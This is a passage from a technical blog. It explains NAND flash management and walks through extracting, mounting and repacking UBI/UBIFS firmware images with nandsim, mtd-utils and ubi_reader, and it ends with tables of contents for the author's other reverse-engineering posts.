Historical Context (The “NOR-less” Shift): Early devices (like feature phones) used both NOR and NAND: NOR for the bootloader/kernel (XIP) and NAND for the filesystem (storage). Samsung later popularized the “NOR-less” concept. By embedding a small ROM inside the SoC capable of loading a bootloader from the first page of NAND into internal RAM, they eliminated the need for expensive NOR chips. This reduced cost and complexity, making NOR rare in modern high-volume consumer electronics like smartphones.

Managed Flash & FTL: NAND is susceptible to bit flips and bad blocks. It requires a complex software management layer called the FTL (Flash Translation Layer) to handle:

Error Correction Codes (ECC)
Bad Block Management
Wear Leveling
Garbage Collection

Depending on where this FTL resides, flash is categorized as:

Raw Flash: The FTL is implemented in the OS driver (software).
Managed Flash (eMMC, SD, UFS): The FTL is implemented in a hardware controller inside the storage package.

Implications for Extraction: When reading Raw NAND, you get the raw data including bit errors and OOB (Out-Of-Band) metadata. You must manually handle ECC algorithms (e.g., Hamming, BCH) and descrambling to reconstruct a valid binary. Since these algorithms are often vendor-specific and not standard, this is the most challenging part of raw firmware extraction.

Advanced topics on reconstructing firmware from raw dumps will be covered in future posts.

References

NAND vs. NOR Flash Memory Technology Overview

Understanding Flash: Blocks, Pages and Program / Erases

UEFI Blog 杂谈闪存二：NOR和NAND Flash

NAND Flash memory in embedded systems

JEDEC

ONFI

Firmware Extraction Series: UBI Filesystem Extraction and Repacking

Sat, 28 Dec 2019 21:39:11 +0800

Preface

I originally wrote this post last year but accidentally set the GitHub repository to private and lost the README. After re-uploading, the context felt slightly dated, but the technical content remains relevant.

UBI (Unsorted Block Images) is a volume management system for raw flash devices designed by IBM. It can manage multiple logical volumes on a single physical device and supports wear leveling. It is widely used in embedded devices.

Speaking of raw flash, we should first explain what MTD (Memory Technology Device) is. MTD is a Linux subsystem used to access memory devices (especially flash devices). It serves as an abstraction layer between hardware and filesystems. Taking NAND flash as an example, MTD encapsulates NAND operations and provides abstract interfaces to upper-layer filesystem drivers. An MTD device consists of eraseblocks. The MTD driver provides read, write, and erase operations—but before modifying any block, you must erase it first.

UBI Layout

UBI shares similarities with LVM (Logical Volume Management). While LVM maps logical sectors to physical sectors, UBI maps Logical Erase Blocks (LEBs) to Physical Erase Blocks (PEBs). Fundamentally, UBI operates at the eraseblock level.

At the beginning of each UBI block (excluding bad blocks), there are two 64-byte headers:

EC header (erase counter header), which contains per-PEB information (VID header offset, data offset).
VID header (volume identifier header), which contains the volume ID and the PEB number corresponding to a given LEB.

In the Linux source tree under linux/drivers/mtd/ubi/, ubi-media.h defines both the EC header and VID header.

struct ubi_ec_hdr {
    __be32  magic; // UBI#
    __u8    version; // 01
    __u8    padding1[3];
    __be64  ec; /* Warning: the current limit is 31-bit anyway! */
    __be32  vid_hdr_offset; // VID Header 的偏移
    __be32  data_offset;    // 数据的偏移
    __be32  image_seq;      // 物理块序号
    __u8    padding2[32];
    __be32  hdr_crc;        // CRC32
} __packed;

/*
 * UBI volume type constants.
 *
 * @UBI_DYNAMIC_VOLUME: dynamic volume
 * @UBI_STATIC_VOLUME:  static volume
 */
enum {
	UBI_DYNAMIC_VOLUME = 3,
	UBI_STATIC_VOLUME  = 4,
};

struct ubi_vid_hdr {
    __be32  magic;      // UBI!
    __u8    version;    // 1
    __u8    vol_type;   // 一般是UBI_DYNAMIC_VOLUME
    __u8    copy_flag;  // 是否从另一个物理块拷贝过来的(wear-leveling)
    __u8    compat;     // 卷兼容性
    __be32  vol_id;     // 卷ID
    __be32  lnum;       // LEB编号
    __u8    padding1[4];
    __be32  data_size;  // 数据大小
    __be32  used_ebs;   // 用户LEB数量
    __be32  data_pad;
    __be32  data_crc;
    __u8    padding2[4];
    __be64  sqnum;      // 序号
    __u8    padding3[12];
    __be32  hdr_crc;   // CRC32
} __packed;

The volume with ID UBI_INTERNAL_VOL_START is dedicated to storing volume table records.

#define UBI_INTERNAL_VOL_START (0x7FFFFFFF - 4096)

It contains the volume name:

struct ubi_vtbl_record {
    __be32  reserved_pebs;
    __be32  alignment;
    __be32  data_pad;
    __u8    vol_type;
    __u8    upd_marker;
    __be16  name_len;    // 卷名长度
    __u8    name[UBI_VOL_NAME_MAX+1];  // 卷名
    __u8    flags;
    __u8    padding[23];
    __be32  crc;   // CRC32
} __packed;

On a typical MTD device, the initial sectors are reserved for the bootloader, while the subsequent regions are allocated for UBI. The figure below provides a simplified example; in practice, multiple UBI volumes and other partitions may be interleaved. UBI employs a mechanism called “fastmap” to map LEBs onto non-contiguous PEBs, providing an abstraction layer for UBIFS.

Mounting UBIFS

MTD provides user-space tools for directly operating on UBI: mtd-utils

http://git.infradead.org/mtd-utils.git

ubinfo - provides information about UBI devices and volumes found in the system;
ubiattach - attaches MTD devices (which describe raw flash) to UBI and creates corresponding UBI devices;
ubidetach - detaches MTD devices from UBI devices (the opposite to what ubiattach does);
ubimkvol - creates UBI volumes on UBI devices;
ubirmvol - removes UBI volumes from UBI devices;
ubiblock - manages block interfaces for UBI volumes. See here for more information;
ubiupdatevol - updates UBI volumes; this tool uses the UBI volume update feature which leaves the volume in “corrupted” state if the update was interrupted; additionally, this tool may be used to wipe out UBI volumes;
ubicrc32 - calculates CRC-32 checksum of a file with the same initial seed as UBI would use;
ubinize - generates UBI images;
ubiformat - formats empty flash, erases flash and preserves erase counters, flashes UBI images to MTD devices;
mtdinfo - reports information about MTD devices found in the system.

While the above tools operate on UBI, standard PCs lack native MTD devices. To analyze a raw flash firmware dump from an embedded device on a PC, you must simulate an MTD device. The most common tool for this is NANDSim.

mtdram which simulates NOR flash in RAM;
nandsim which simulates NAND flash in RAM;
block2mtd which simulates NOR flash on top of a block device;

First, examine NANDSim’s parameters. Given the large number of options, correct configuration is key.

$ modinfo nandsim
filename:       /lib/modules/4.18.10-arch1-1-ARCH/kernel/drivers/mtd/nand/raw/nandsim.ko.xz
description:    The NAND flash simulator
author:         Artem B. Bityuckiy
license:        GPL
srcversion:     D2FD00330F9BE30A9B28365
depends:        mtd,nand
retpoline:      Y
intree:         Y
name:           nandsim
vermagic:       4.18.10-arch1-1-ARCH SMP preempt mod_unload modversions
sig_id:         PKCS#7
signer:
sig_key:
sig_hashalgo:   md4
signature:
parm:           id_bytes:The ID bytes returned by NAND Flash 'read ID' command (array of byte)
parm:           first_id_byte:The first byte returned by NAND Flash 'read ID' command (manufacturer ID) (obsolete) (byte)
parm:           second_id_byte:The second byte returned by NAND Flash 'read ID' command (chip ID) (obsolete) (byte)
parm:           third_id_byte:The third byte returned by NAND Flash 'read ID' command (obsolete) (byte)
parm:           fourth_id_byte:The fourth byte returned by NAND Flash 'read ID' command (obsolete) (byte)
parm:           access_delay:Initial page access delay (microseconds) (uint)
parm:           programm_delay:Page programm delay (microseconds (uint)
parm:           erase_delay:Sector erase delay (milliseconds) (uint)
parm:           output_cycle:Word output (from flash) time (nanoseconds) (uint)
parm:           input_cycle:Word input (to flash) time (nanoseconds) (uint)
parm:           bus_width:Chip's bus width (8- or 16-bit) (uint)
parm:           do_delays:Simulate NAND delays using busy-waits if not zero (uint)
parm:           log:Perform logging if not zero (uint)
parm:           dbg:Output debug information if not zero (uint)
parm:           parts:Partition sizes (in erase blocks) separated by commas (array of ulong)
parm:           badblocks:Erase blocks that are initially marked bad, separated by commas (charp)
parm:           weakblocks:Weak erase blocks [: remaining erase cycles (defaults to 3)] separated by commas e.g. 113:2 means eb 113 can be erased only twice before failing (charp)
parm:           weakpages:Weak pages [: maximum writes (defaults to 3)] separated by commas e.g. 1401:2 means page 1401 can be written only twice before failing (charp)
parm:           bitflips:Maximum number of random bit flips per page (zero by default) (uint)
parm:           gravepages:Pages that lose data [: maximum reads (defaults to 3)] separated by commas e.g. 1401:2 means page 1401 can be read only twice before failing (charp)
parm:           overridesize:Specifies the NAND Flash size overriding the ID bytes. The size is specified in erase blocks and as the exponent of a power of two e.g. 5 means a size of 32 erase blocks (uint)
parm:           cache_file:File to use to cache nand pages instead of memory (charp)
parm:           bbt:0 OOB, 1 BBT with marker in OOB, 2 BBT with marker in data area (uint)
parm:           bch:Enable BCH ecc and set how many bits should be correctable in 512-byte blocks (uint)

To understand NANDSim’s implementation, one can examine the kernel driver source code. Briefly, nandsim.c calls nand_scan_ident in nand_base.c. During nand_detect, a Read ID operation is performed: nand_readid_op sends 0x90,0x00 to the NAND device. Subsequently, nand_get_manufacturer matches the manufacturer ID. Finally, nand_scan_tail initializes the NAND chip and sets the appropriate properties.

The NAND chip datasheet specifies the ID bytes in detail.

Therefore, we must set the ID correctly. This allows the driver to automatically configure the capacity, page size, and other parameters. For NANDSim, only the first four ID parameters are required.

static u_char id_bytes[8] = {
    [0] = CONFIG_NANDSIM_FIRST_ID_BYTE,
    [1] = CONFIG_NANDSIM_SECOND_ID_BYTE,
    [2] = CONFIG_NANDSIM_THIRD_ID_BYTE,
    [3] = CONFIG_NANDSIM_FOURTH_ID_BYTE,
    [4 ... 7] = 0xFF,
};

If you need to tune the NAND simulation parameters, use the datasheet table to choose appropriate values.

Typically, an embedded device stores the bootloader and other partitions on the same chip as the system partition. Consequently, partitioning NANDSim is necessary. In this example, the eraseblock size is 128KB (0x20000).

Write a script to locate UBI regions in the dump:

#!/usr/bin/env python3
import sys
import binascii
import struct

if len(sys.argv) < 1:
    print("Usage: find_ubi_header.py NAND.bin")
    sys.exit(1)

raw_file_path = sys.argv[1]
ubi_header = b'UBI#'
out_of_ubi = True

try:
    with open(raw_file_path, 'rb') as raw_file:
        rawbin = raw_file.read()
        for x in range(0, len(rawbin), 0x20000):
            magic = rawbin[x:x+4]
            if magic == ubi_header:
                if out_of_ubi:
                    out_of_ubi = False
                    print("\nUBI offset start:", hex(x))
            else:
                if not out_of_ubi:
                    print("UBI offset stop:", hex(x), "\n")
                    out_of_ubi = True
        raw_file.close()
except Exception as e:
    print(e)

$ python find_ubi_header.py NAND.bin

UBI offset start: 0x2e60000
UBI offset stop: 0x6900000

UBI offset start: 0x7700000
UBI offset stop: 0x81c0000

UBI offset start: 0x8200000
UBI offset stop: 0x20000000

512MB = 4096 * 128 KB, so this chip has 4K blocks.

PN	SA	EA	EC
xxx	0x00000000	0x02E60000	371
ubi1	0x02E60000	0x06900000	469
foo	0x06900000	0x069C0000	6
recovery	0x069C0000	0x07700000	106
ubi2	0x07700000	0x081C0000	86
sec	0x081C0000	0x08200000	2
ubi3	0x08200000	0x20000000	3056

Load the MTD modules and the NANDSim module:

sudo modprobe mtd
sudo modprobe mtdblock
sudo modprobe nandsim first_id_byte=0x2c second_id_byte=0xac third_id_byte=0x90 fourth_id_byte=0x15 parts=371,469,6,106,86,2,3056

Verify the MTD device information to ensure the partitions were created successfully.

$ mtdinfo -a
Count of MTD devices:           8
Present MTD devices:            mtd0, mtd1, mtd2, mtd3, mtd4, mtd5, mtd6, mtd7
Sysfs interface supported:      yes

mtd0
Name:                           NAND 512MiB 1,8V 8-bit
Type:                           nand
Eraseblock size:                131072 bytes, 128.0 KiB
Amount of eraseblocks:          4096 (536870912 bytes, 512.0 MiB)
Minimum input/output unit size: 2048 bytes
Sub-page size:                  512 bytes
OOB size:                       64 bytes
Character device major/minor:   90:0
Bad blocks are allowed:         true
Device is writable:             true

mtd1
Name:                           NAND simulator partition 0
Type:                           nand
Eraseblock size:                131072 bytes, 128.0 KiB
Amount of eraseblocks:          371 (48627712 bytes, 46.4 MiB)
Minimum input/output unit size: 2048 bytes
Sub-page size:                  512 bytes
OOB size:                       64 bytes
Character device major/minor:   90:2
Bad blocks are allowed:         true
Device is writable:             true

mtd2
Name:                           NAND simulator partition 1
Type:                           nand
Eraseblock size:                131072 bytes, 128.0 KiB
Amount of eraseblocks:          469 (61472768 bytes, 58.6 MiB)
Minimum input/output unit size: 2048 bytes
Sub-page size:                  512 bytes
OOB size:                       64 bytes
Character device major/minor:   90:4
Bad blocks are allowed:         true
Device is writable:             true

mtd3
Name:                           NAND simulator partition 2
Type:                           nand
Eraseblock size:                131072 bytes, 128.0 KiB
Amount of eraseblocks:          6 (786432 bytes, 768.0 KiB)
Minimum input/output unit size: 2048 bytes
Sub-page size:                  512 bytes
OOB size:                       64 bytes
Character device major/minor:   90:6
Bad blocks are allowed:         true
Device is writable:             true

mtd4
Name:                           NAND simulator partition 3
Type:                           nand
Eraseblock size:                131072 bytes, 128.0 KiB
Amount of eraseblocks:          106 (13893632 bytes, 13.2 MiB)
Minimum input/output unit size: 2048 bytes
Sub-page size:                  512 bytes
OOB size:                       64 bytes
Character device major/minor:   90:8
Bad blocks are allowed:         true
Device is writable:             true

mtd5
Name:                           NAND simulator partition 4
Type:                           nand
Eraseblock size:                131072 bytes, 128.0 KiB
Amount of eraseblocks:          86 (11272192 bytes, 10.8 MiB)
Minimum input/output unit size: 2048 bytes
Sub-page size:                  512 bytes
OOB size:                       64 bytes
Character device major/minor:   90:10
Bad blocks are allowed:         true
Device is writable:             true

mtd6
Name:                           NAND simulator partition 5
Type:                           nand
Eraseblock size:                131072 bytes, 128.0 KiB
Amount of eraseblocks:          2 (262144 bytes, 256.0 KiB)
Minimum input/output unit size: 2048 bytes
Sub-page size:                  512 bytes
OOB size:                       64 bytes
Character device major/minor:   90:12
Bad blocks are allowed:         true
Device is writable:             true

mtd7
Name:                           NAND simulator partition 6
Type:                           nand
Eraseblock size:                131072 bytes, 128.0 KiB
Amount of eraseblocks:          3056 (400556032 bytes, 382.0 MiB)
Minimum input/output unit size: 2048 bytes
Sub-page size:                  512 bytes
OOB size:                       64 bytes
Character device major/minor:   90:14
Bad blocks are allowed:         true
Device is writable:             true

You can also check dmesg for detailed load info, including chip and partition info.

$ dmesg

[13202.334289] nand: device found, Manufacturer ID: 0x2c, Chip ID: 0xac
[13202.334290] nand: Micron NAND 512MiB 1,8V 8-bit
[13202.334291] nand: 512 MiB, SLC, erase size: 128 KiB, page size: 2048, OOB size: 64
[13202.334299] flash size: 512 MiB
[13202.334299] page size: 2048 bytes
[13202.334300] OOB area size: 64 bytes
[13202.334300] sector size: 128 KiB
[13202.334301] pages number: 262144
[13202.334301] pages per sector: 64
[13202.334302] bus width: 8
[13202.334302] bits in sector size: 17
[13202.334302] bits in page size: 11
[13202.334303] bits in OOB size: 6
[13202.334304] flash size with OOB: 540672 KiB
[13202.334304] page address bytes: 5
[13202.334304] sector address bytes: 3
[13202.334305] options: 0x8
[13202.334779] Scanning device for bad blocks
[13202.358806] Creating 7 MTD partitions on "NAND 512MiB 1,8V 8-bit":
[13202.358810] 0x000000000000-0x000002e60000 : "NAND simulator partition 0"
[13202.360129] 0x000002e60000-0x000006900000 : "NAND simulator partition 1"
[13202.360835] 0x000006900000-0x0000069c0000 : "NAND simulator partition 2"
[13202.361180] 0x0000069c0000-0x000007700000 : "NAND simulator partition 3"
[13202.363506] 0x000007700000-0x0000081c0000 : "NAND simulator partition 4"
[13202.365146] 0x0000081c0000-0x000008200000 : "NAND simulator partition 5"
[13202.366440] 0x000008200000-0x000020000000 : "NAND simulator partition 6"

You can also view the MTD partition table via:

$ sudo cat /proc/mtd

dev:    size   erasesize  name
mtd0: 20000000 00020000 "NAND 512MiB 1,8V 8-bit"
mtd1: 02e60000 00020000 "NAND simulator partition 0"
mtd2: 03aa0000 00020000 "NAND simulator partition 1"
mtd3: 000c0000 00020000 "NAND simulator partition 2"
mtd4: 00d40000 00020000 "NAND simulator partition 3"
mtd5: 00ac0000 00020000 "NAND simulator partition 4"
mtd6: 00040000 00020000 "NAND simulator partition 5"
mtd7: 17e00000 00020000 "NAND simulator partition 6"

mtd0 represents the entire MTD device. Write the extracted firmware into this device; since the simulation runs in RAM, the operation is extremely fast.

sudo dd if=NAND.bin of=/dev/mtd0 bs=512M count=1

Examining the ubi module parameters reveals an mtd parameter. However, using this may fail if the default VID header offset (512) does not match the target image.

sudo modprobe ubi mtd=0

$ dmesg

[38418.429799] ubi0: attaching mtd5
[38418.429924] ubi0 error: validate_ec_hdr [ubi]: bad VID header offset 2048, expected 512
[38418.429937] ubi0 error: validate_ec_hdr [ubi]: bad EC header
[38418.429944] Erase counter header dump:
[38418.429946]  magic          0x55424923
[38418.429948]  version        1
[38418.429950]  ec             5
[38418.429952]  vid_hdr_offset 2048
[38418.429953]  data_offset    4096
[38418.429955]  image_seq      34870392
[38418.429957]  hdr_crc        0x11db9c17

Instead, load the ubi module first, then use ubiattach from mtd-utils to specify the parameters explicitly:

sudo modprobe ubi
sudo ubiattach /dev/ubi_ctrl -m 2 -O 2048

You should then see attach success messages:

[43880.484837] ubi0: default fastmap pool size: 20
[43880.484841] ubi0: default fastmap WL pool size: 10
[43880.484843] ubi0: attaching mtd2
[43880.486802] ubi0: attached by fastmap
[43880.486806] ubi0: fastmap pool size: 20
[43880.486808] ubi0: fastmap WL pool size: 10
[43880.491518] ubi0: attached mtd2 (name "NAND simulator partition 1", size 58 MiB)
[43880.491521] ubi0: PEB size: 131072 bytes (128 KiB), LEB size: 126976 bytes
[43880.491523] ubi0: min./max. I/O unit sizes: 2048/2048, sub-page size 512
[43880.491525] ubi0: VID header offset: 2048 (aligned 2048), data offset: 4096
[43880.491527] ubi0: good PEBs: 469, bad PEBs: 0, corrupted PEBs: 0
[43880.491529] ubi0: user volume: 1, internal volumes: 1, max. volumes count: 128
[43880.491532] ubi0: max/mean erase counter: 14/5, WL threshold: 4096, image sequence number: 1328192
[43880.491534] ubi0: available PEBs: 0, total reserved PEBs: 469, PEBs reserved for bad PEB handling: 80
[43880.491617] ubi0: background thread "ubi_bgt0d" started, PID 25777

Next, mount the UBIFS volume to access the filesystem contents.

$ mkdir /tmp/modem
$ sudo mount -t ubifs ubi0_0 /tmp/modem
$ ls /tmp/image
bdwlan30.bin  mba.b03  mba.mdt    modem.b03  modem.b08  modem.b12  modem.b16  modem.b22  otp30.bin
mba.b00       mba.b04  modem.b00  modem.b05  modem.b09  modem.b13  modem.b19  modem.b23  qwlan30.bin
mba.b01       mba.b05  modem.b01  modem.b06  modem.b10  modem.b14  modem.b20  modem.b24  utf30.bin
mba.b02       mba.mbn  modem.b02  modem.b07  modem.b11  modem.b15  modem.b21  modem.mdt

In some cases, SquashFS runs on top of UBI, which causes standard UBIFS mounts to fail:

[  214.800087] UBIFS error (ubi0:0 pid 3848): ubifs_read_node [ubifs]: bad node type (1 but expected 6)
[  214.800093] UBIFS error (ubi0:0 pid 3848): ubifs_read_node [ubifs]: bad node at LEB 0:0, LEB mapping status 1
[  214.800094] Not a node, first 24 bytes:
[  214.800095] 00000000: 68 73 71 73 46 0c 00 00 5a 9c 25 5d 00 00 02 00 ac 00 00 00 01 00 11 00                          hsqsF

The hsqs magic bytes identify this as a SquashFS image. It can be extracted directly as SquashFS:

sudo dd if=/dev/ubi0_0 of=./ubi0_0
unsquashfs ./ubi0_0

Detach/unload:

sudo umount MOUNTED_DIR
sudo ubidetach /dev/ubi_ctrl -m 0
sudo modprobe -r ubi
sudo modprobe -r nandsim

Reading with UBI Reader

Install via pip (or download): https://github.com/jrspruitt/ubi_reader

sudo pip install ubi_reader

First, check whether it correctly identifies UBI metadata:

ubireader_display_info [options] path/to/file

Extract all files (but it will fail if another filesystem is present):

ubireader_extract_files [options] path/to/file

It is recommended to first restore PEBs to LEBs before analyzing individual volumes:

ubireader_extract_images [options] path/to/file

Repacking UBI

After mounting UBIFS, modification and repacking might be required. Direct use of dd is not suitable for this task.

First, pay attention to the output from ubiattach—it prints LEB information:

$ sudo ubiattach /dev/ubi_ctrl -m 7 -O 2048
UBI device number 0, total 240 LEBs (30474240 bytes, 29.1 MiB), available 0 LEBs (0 bytes), LEB size 126976 bytes (124.0 KiB)

There are 240 LEBs in total, with each LEB being 126976 bytes. These parameters must be passed to mkfs.ubifs to build the UBIFS image:

# mtd5
sudo mkfs.ubifs -m 2048 -e 126976 -c 240 -F -r ./UBI_1 rootfs.img
# mtd9
sudo mkfs.ubifs -m 2048 -e 126976 -c 240 -F -r ./UBI_2 rootfs.img
sudo mkfs.ubifs -m 2048 -e 126976 -c 240 -R 1 -x lzo -r ./UBI_1 rootfs.img
sudo mkfs.ubifs -m 2048 -e 126976 -c 240 -x lzo -r ./rootfs rootfs.img

Create ubi_config.ini:

vi ubi_config.ini

The vol_size must match the image size. Additionally, the file must end with an empty line to avoid the following error: ubinize: error!: cannot load the input ini file "ubi_config.ini"

[rootfs]
mode=ubi
image=rootfs.img
vol_id=0
vol_size=9904128
vol_type=dynamic
vol_name=rootfs
vol_alignment=1
vol_flags=autoresize

Finally, use ubinize to generate the UBI image:

sudo ubinize -o rootfs.ubi -p 131072 -m 2048 -s 512 -e 2 -Q 0 -O 2048 -x1 ubi_config.ini

Where:

-e: Number of eraseblocks (default is 0). This can be quickly verified with binwalk.
-Q: Image sequence number, viewable with ubi_display_info.
-x: UBI version (default is 1).
-s: Sub-page size. Not all NAND flash supports sub-pages. Typically, SLC NAND with 2048-byte pages uses 4 sub-pages of 512 bytes, whereas MLC usually does not have sub-pages.
-m: Page size.
-p: Physical eraseblock size. A physical block usually consists of 64 pages; refer to the NAND datasheet for specifics.

Below is an example of flashing rootfs.ubi to mtd7:

sudo ubinize -v -o rootfs.ubi -p 131072 -m 2048 -s 512 -O 2048 ubi_config.ini
sudo ubiformat /dev/mtd7 -O 2048 -s 512 -f rootfs.ubi

For SquashFS filesystems, building UBIFS is unnecessary. After modifying the contents, simply repack SquashFS using mksquashfs. Ensure that ownership and permissions are correct (e.g., if the target system runs as root, pack as root). Then, use ubinize to wrap it into a UBI image.

sudo mksquashfs ./squashfs-root/* rootfs.squashfs

Reference

Memory Technology Devices

UBI - Unsorted Block Images

Mounting and Rebuilding UBI Images

Gorgias' Blog

IGS Arcade Reverse Engineering Series (4) - ASIC27 Protocol and Static Analysis of TSGROM Files

Embedded Architecture Analysis

Main Executable Flow Analysis

Region Initialization

ROIO BIOS Info Verification

PCCard Random Value Check

ASIC 27 Protocol

A27 Initialization

System Mode

A27 System Mode Write State Machine

A27 System Mode Analysis State Machine

Key State Machine

Buffer Struct Analysis

A27 Response Checksum

Buffer Obfuscation Analysis

TSGROM Parsing

Action Parser

TSG ROM Hidden Stub

Closing Notes

IGS Arcade Reverse Engineering Series (3) - Getting a Shell

Repacking IGS CRAMFS

Fixing the shell environment

Fixing agetty

Fixing SSH services

Fixing ifconfig and enabling networking

Game environment analysis

Game main executable

Bottleneck

Rant: Hexo

IGS Arcade Reverse Engineering Series (2) - Recovering Game Files

Reverse Engineering Traps

/etc/rc.d/init.d/rc

/etc/X11/IGS

Analyzing the “Fake Game” Executable

Building GCC 3.3.1

Building glibc 2.3.2

System Initialization Analysis

Community Reverse Engineering Notes

Analyzing the Kernel Boot Flow

Fixing Immediate-Value Xrefs

Fixing String Data

Kernel Thread

Getting Stuck Restoring ZSH Symbols

Dependency analysis

Recovering ZSH Symbols

IDA Pro script: extract strings and function xrefs from target A

IDA Pro script: apply xref symbols from A to B

Fixing GECA and rc0.d

Recovering Game Files

IGS Arcade Reverse Engineering Series (1) - E2000 Platform Analysis

Preface

Hardware analysis

External interface analysis

Mainboard analysis

I/O board analysis

Filesystem analysis

Kernel reversing

Extracting the filesystem

IGS SHFS V1 Header

IGS SHFS V2 Header

IGS ROFS V1 Header

shadow-

Anti-cracking

References

VW ID.4 ICAS1 Vehicle Control Analysis

Preface

In-Vehicle ECU Topology

J533 Connector T40a Definition

Bus Security Strategy

Gateway Isolation

CRC Check

CRC Seeds

CRC Algorithm

CAN Signals

Other Signals

Steering Control

DEMO

RPi CAN HAT

Notes

`/etc/rc.d/init.d/rc`

`/etc/X11/IGS`

Fixing `GECA` and `rc0.d`

QNX `/etc/shadow` hash algorithm analysis